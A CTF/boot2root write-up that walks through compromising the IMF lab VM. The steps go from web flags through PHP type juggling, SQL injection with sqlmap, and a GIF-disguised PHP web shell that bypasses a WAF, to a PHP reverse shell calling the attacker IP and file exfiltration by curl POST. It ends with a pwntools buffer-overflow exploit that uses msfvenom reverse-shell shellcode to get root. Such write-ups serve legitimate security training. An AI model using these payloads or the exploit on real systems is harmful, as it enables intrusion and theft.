IMF

IMF is a boot2root mcahine that contains many flags. After each flag, the difficulty is increased. This machine starts with web and ends with a buffer overflow.

Nmap scan shows that on port 80 an Apache webserver is running.

$ sudo nmap -sSCV 172.16.115.128 -v Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 14:46 EDT NSE: Loaded 156 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 14:46 Completed NSE at 14:46, 0.00s elapsed Initiating NSE at 14:46 Completed NSE at 14:46, 0.00s elapsed Initiating NSE at 14:46 Completed NSE at 14:46, 0.00s elapsed Initiating ARP Ping Scan at 14:46 Scanning 172.16.115.128 [1 port] Completed ARP Ping Scan at 14:46, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:46 Completed Parallel DNS resolution of 1 host. at 14:46, 6.54s elapsed Initiating SYN Stealth Scan at 14:46 Scanning 172.16.115.128 [1000 ports] Discovered open port 80/tcp on 172.16.115.128 Completed SYN Stealth Scan at 14:46, 4.78s elapsed (1000 total ports) Initiating Service scan at 14:46 Scanning 1 service on 172.16.115.128 Completed Service scan at 14:47, 6.08s elapsed (1 service on 1 host) NSE: Script scanning 172.16.115.128. Initiating NSE at 14:47 Completed NSE at 14:47, 5.02s elapsed Initiating NSE at 14:47 Completed NSE at 14:47, 0.01s elapsed Initiating NSE at 14:47 Completed NSE at 14:47, 0.00s elapsed Nmap scan report for 172.16.115.128 Host is up (0.0010s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: IMF - Homepage |_http-server-header: Apache/2.4.18 (Ubuntu) MAC Address: 00:0C:29:11:B8:1D (VMware)

Visiting the page shows the following
Pasted image 20240408204723

On the Contact Us page the first flag shows in the inspect element section.
Pasted image 20240408204958

flag1{YWxsdGhlZmlsZXM=}
This is base64 and decodes to allthefiles

With the hint from the first flag, I inspect the javascript files. There are 3 suspicious files. Especially one of them looks like base64 because of the ending == in the filename, since base64 strings often end with this for padding. Read this if you want an explanation why.
Pasted image 20240408205145

Combining these three strings togeher gives me the following string:
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

$ echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' | base64 -d flag2{aW1mYWRtaW5pc3RyYXRvcg==}

Decoding the flag gives the following: imfadministrator

The hint from the last flag is an hidden endpoint to login.
Pasted image 20240408205635

Inspecting the page reveals the following comment
Pasted image 20240402210042

This leeds me to this article from Hacktricks about bypassing PHP comparisons.
Pasted image 20240408205923

What this tells us to do is change the name="pass" field in the form to name="pass[].

Pasted image 20240402210511

Remember that on the service page /contant.php on the main website there were some names shown.
Pasted image 20240408210218

The tool CeWL can be used to generate a wordlist.

$ cewl http://172.16.115.128/contact.php -d 4 -m 6 --lowercase -w names.wordlist

Then any tool can be used to try all the combinations, which are only 78.
$ wc -l names.wordlist 78 names.wordlist

After trying rmichaels seemed to working and we are redirected to the page containing the flag.
Pasted image 20240408210708

The flag flag3{Y29udGludWVUT2Ntcw==} decodes to continueTOcms.

The dashboard we are redirected to when we click IMF CMS contains a strange URL structure pagename=home.
Pasted image 20240408210925

Putting a single quote ' there gives the following output
Pasted image 20240408211326

High chance that this contains a sql vulnerability. I spin up sqlmap , but don’t forget to get the php cookie uljlgrmgg3ut9jmfoikejsvrc0 from the devtools, since we need to be authenticated to see this page.

$ sqlmap -u "http://172.16.115.128/imfadministrator/cms.php?pagename=home" --dbms mysql --cookie "PHPSESSID=uljlgrmgg3ut9jmfoikejsvrc0" --dump

Sqlmap found a vulnerability and retrieves all the information. After looking around the database a bit I found the interesting part, which reveals another endpoint /tutorials-incomplete (scroll to the right).

+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+ | id | pagedata | pagename | +----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+ | 1 | Under Construction. | upload | | 2 | Welcome to the IMF Administration. | home | | 3 | Training classrooms available.

Contact us for training. | tutorials-incomplete | | 4 |

Disavowed List


  • *********
  • ****** ******
  • *******
  • **** ********

-Secretary | disavowlist | +----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+

This page shows a QR code
Pasted image 20240408211628

Scanning the QR code gives the fourth flag flag4{dXBsb2Fkcjk0Mi5waHA=} which decodes to uploadr942.php

At the /uploadr942.php endpoint there is a upload form.
Pasted image 20240402210813

Trying to upload the default pentestmonkey PHP reverse shell gives an error invalid file type.
Pasted image 20240408212143

After trying a couple different files, I found out that i can upload GIF images without any error. Now the next point is finding out where my uploaded GIF is stored. After a file is uploaded succesfully, the html on the page changes as can be seen in the two pictures below.
Before uploading:
Pasted image 20240408212403

After uploading a comment appears that seems to be the filename.
Pasted image 20240408212427

The file appears to be uploaded at /imfadministrator/uploads/8e1064d0df99.gif.

Changing the php reverse shell to a gif extension phpshell.gif, shows that a the WAF detects it and blocks the upload.
Pasted image 20240408213725

In order to restrict this I look for file signatures extensions that I can use to bypass this filter. I end up with the following script that is just a simple php web shell. \x73\x79\x73\x74\x65\x6d is system is hexadecimal, so it isn’t detected by the WAF.

$ cat php_shell.gif GIF87a;

After uploading this file I successfully execute commands.
Pasted image 20240408214137

Now instead of the cmd commands I start a nc listener on my host machine

$ nc -lnvp 4444 listening on [any] 4444 ...

And on the webpage I pass my reverse shell URL encoded.
Plain: php -r '$sock=fsockopen("172.16.115.129",4444);exec("bash <&3 >&3 2>&3");' URL encoded: php%20-r%20%27%24sock%3Dfsockopen%28%22172.16.115.129%22%2C4444%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

Passing this in the URL gives the following final URL
http://172.16.115.128/imfadministrator/uploads/d595e1a66bdc.gif?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22172.16.115.129%22%2C4444%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

This successfully gives me a reverse shell, from where I also print flag 5.

$ nc -lnvp 4444 listening on [any] 4444 ... connect to [172.16.115.129] from (UNKNOWN) [172.16.115.128] 49224 id uid=33(www-data) gid=33(www-data) groups=33(www-data) ls cat flag5_abc123def.txt flag5{YWdlbnRzZXJ2aWNlcw==}

Flag 5 decoded: agentservices

Before continuing I upgrade this awful shell to an interactive one using a python3 trick I will write another post about. With this interactive shell i can use CTR+C, arrow keys and more.

python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@imf:/var/www/html/imfadministrator/uploads$ ^Z zsh: suspended nc -lnvp 4444 ┌──(fabian㉿68616861)-[~/Documents/mike/IMF] └─$ stty raw -echo;fg [1] + continued nc -lnvp 4444 www-data@imf:/var/www/html/imfadministrator/uploads$ www-data@imf:/var/www/html/imfadministrator/uploads$

Running netstat -antp shows a local port at 7788.

www-data@imf:/var/www/html/imfadministrator/uploads$ netstat -antp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:7788 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 280 172.16.115.128:49224 172.16.115.129:4444 ESTABLISHED 1552/php tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 172.16.115.128:80 172.16.115.129:33826 ESTABLISHED -

Running cURL on the page gives the following output with Invalid Agent ID

www-data@imf:/var/www/html/imfadministrator/uploads$ curl 127.0.0.1:7788 ___ __ __ ___ |_ _| \/ | __| Agent | || |\/| | _| Reporting |___|_| |_|_| System Agent ID : Invalid Agent ID

Running whereis agent, also from the hint, gives the following binary path.

www-data@imf:/var/www/html/imfadministrator/uploads$ whereis agent agent: /usr/local/bin/agent

Running the binary, I can give input and it returns invalid agent ID

www-data@imf:/var/www/html/imfadministrator/uploads$ /usr/local/bin/agent ___ __ __ ___ |_ _| \/ | __| Agent | || |\/| | _| Reporting |___|_| |_|_| System Agent ID : 555 Invalid Agent ID

Going to the location of the binary, there is another file called access_codes.

www-data@imf:/usr/local/bin$ ls -la total 24 drwxr-xr-x 2 root root 4096 Oct 16 2016 . drwxr-xr-x 10 root root 4096 Sep 22 2016 .. -rw-r--r-- 1 root root 19 Oct 16 2016 access_codes -rwxr-xr-x 1 root root 11896 Oct 12 2016 agent www-data@imf:/usr/local/bin$ cat access_codes SYN 7482,8279,9467

this contains the following information SYN 7482,8279,9467. SYN is for a SYN request, probably a portknock.
$ knock 172.16.115.128 7482 8279 9467

After port knocking it, port 7788 is opened!
$ sudo nmap -sS -p 7788 172.16.115.128 -v Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 17:31 EDT Initiating ARP Ping Scan at 17:31 Scanning 172.16.115.128 [1 port] Completed ARP Ping Scan at 17:31, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 17:31 Completed Parallel DNS resolution of 1 host. at 17:31, 6.51s elapsed Initiating SYN Stealth Scan at 17:31 Scanning 172.16.115.128 [1 port] Discovered open port 7788/tcp on 172.16.115.128 Completed SYN Stealth Scan at 17:31, 0.02s elapsed (1 total ports) Nmap scan report for 172.16.115.128 Host is up (0.00055s latency). PORT STATE SERVICE 7788/tcp open unknown MAC Address: 00:0C:29:11:B8:1D (VMware)

Now I can remotely connect with the binary

$ nc 172.16.115.128 7788 ___ __ __ ___ |_ _| \/ | __| Agent | || |\/| | _| Reporting |___|_| |_|_| System Agent ID :

To transfer the binary I use python uploadserver on my Kali machine.

$ python3 -m uploadserver

From the machine with the agent binary I make the following curl request to transfer the binary to my Kali machine.

www-data@imf:/usr/local/bin$ curl -X POST http://172.16.115.129:8000/upload -F 'files=@agent'

Now I have the binary locally, so I can inspect it better using my favorite tools; checksec, Ghidra and GEF.

Checksec is used to check the binary security settings.

$ checksec agent [*] '/home/fabian/Documents/mike/IMF/binary/agent' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments

Ghidra detects it as a x86 file.
Pasted image 20240408221207

Ghidra automatically loads us into the main function.
Pasted image 20240408221526

Changing the names of the important variables easily shows the logic. All we have to do is to get a 0 from the bool_strncmp, that means the strings that are being compared are the same. In the strncmp function, the first 8 characters of our_input and local_28 are being compared against each other. our_input contains our input from the fgets functions. On line 16 asprintf dynamically allocates memory for local_28 and format the ‘string’ 48093572 into that memory. So if we input 48093572 we should get into the main menu.
Pasted image 20240408223411

And yes, we validate successfully.

./agent ___ __ __ ___ |_ _| \/ | __| Agent | || |\/| | _| Reporting |___|_| |_|_| System Agent ID : 48093572 Login Validated Main Menu: 1. Extraction Points 2. Request Extraction 3. Submit Report 0. Exit Enter selection:

Trying some options shows a zsh: segmentation fault in menu option 3. Submit Report.

$ ./agent 48093572 ___ __ __ ___ |_ _| \/ | __| Agent | || |\/| | _| Reporting |___|_| |_|_| System Agent ID : 48093572 Login Validated Main Menu: 1. Extraction Points 2. Request Extraction 3. Submit Report 0. Exit Enter selection: 3 Enter report update: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Report: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Submitted for review. zsh: segmentation fault ./agent 48093572

In Ghidra we can also see the dangerous gets function.
Pasted image 20240408225125

I start gef to dynamically analyze the binary.
I first generate a pattern to be able to identify the exact offset.

gef➤ pattern create 200 [+] Generating a pattern of 200 bytes aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab [+] Saved as '$_gef0'

Running the binary and giving that as input to menu option 3, shows our eip value.
Pasted image 20240408225632

Passing this back to gef to calculate the offset

gef➤ pattern search 0x62616172 [+] Searching '0x62616172' [+] Found at offset 168 (little-endian search) likely

Using python3 to generate a string to verify this offset of 168

$ python3 >>> print ('A'*168 + 'B'*4) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Passing that in menu option 3 shows exactly what we expect to see, namely our B’s
Pasted image 20240408225941

Now it is time to add the shellcode. We can also see in the picture above that all our A’s are in the eax register. This means we just need to find a jmp eax instruction which address we place instead of the B’s to execute our shellcode. There is a call eax at 0x8048563
Pasted image 20240408230749

Now I need to generate a reverse shell using mfsvenom. Note the /x86 for the correct architecture. Also note the -b "\x00" to make sure there are no null bytes in the shellcode.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.115.129 LPORT=6666 -f python -b "\x00" [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload Found 12 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of python file: 479 bytes buf = b"" buf += b"\xb8\xb2\x0c\x24\xae\xdb\xc7\xd9\x74\x24\xf4\x5b" buf += b"\x29\xc9\xb1\x12\x31\x43\x12\x83\xc3\x04\x03\xf1" buf += b"\x02\xc6\x5b\xc4\xc1\xf1\x47\x75\xb5\xae\xed\x7b" buf += b"\xb0\xb0\x42\x1d\x0f\xb2\x30\xb8\x3f\x8c\xfb\xba" buf += b"\x09\x8a\xfa\xd2\x25\x7c\x8e\xa3\x5e\x7f\x70\xb9" buf += b"\x94\xf6\x91\x0d\xce\x58\x03\x3e\xbc\x5a\x2a\x21" buf += b"\x0f\xdc\x7e\xc9\xfe\xf2\x0d\x61\x97\x23\xdd\x13" buf += b"\x0e\xb5\xc2\x81\x83\x4c\xe5\x95\x2f\x82\x66"

I then wrote the following script to automate the exploit using pwntools.

python

#!/usr/bin/python3

import sys
import socket
from pwn import *

agentcode = b"48093572" # used to login
menuoption = b"3"
offset = 168 # offset we got and tested
eip = b"\x63\x85\x04\x08" #call eax address 0x08 04 85 63

#MSFvenom generated shellcode below
buf =  b""
buf += b"\xbe\x86\x0e\x52\x42\xd9\xe8\xd9\x74\x24\xf4\x5d"
buf += b"\x31\xc9\xb1\x12\x31\x75\x12\x03\x75\x12\x83\x6b"
buf += b"\xf2\xb0\xb7\x42\xd0\xc2\xdb\xf7\xa5\x7f\x76\xf5"
buf += b"\xa0\x61\x36\x9f\x7f\xe1\xa4\x06\x30\xdd\x07\x38"
buf += b"\x79\x5b\x61\x50\xd6\x8b\xe2\x21\x4e\xae\x04\x3b"
buf += b"\x85\x27\xe5\x8b\xff\x67\xb7\xb8\x4c\x84\xbe\xdf"
buf += b"\x7e\x0b\x92\x77\xef\x23\x60\xef\x87\x14\xa9\x8d"
buf += b"\x3e\xe2\x56\x03\x92\x7d\x79\x13\x1f\xb3\xfa"

payload =  buf + b"\x90" * (offset - len(buf)) + eip

try:
	conn = remote('172.16.115.128', 7788)
	conn.recvuntil(b':')
	conn.sendline(agentcode)
	conn.recvuntil(b'selection:')
	conn.sendline(menuoption)
	conn.recvuntil(b'update:')

	#overflow code
	conn.sendline(payload)
	conn.recvall()
	print("Finished")

except Exception as e:
	print(f"Error {e}")

Running the script successfully gives root and the final flag can be printed.

$ nc -lnvp 6666 listening on [any] 6666 ... connect to [172.16.115.129] from (UNKNOWN) [172.16.115.128] 42278 id uid=0(root) gid=0(root) groups=0(root) cd /root ls Flag.txt TheEnd.txt cat Flag.txt flag6{R2gwc3RQcm90MGMwbHM=}

And final flag, flag6 can be decoded to Gh0stProt0c0ls.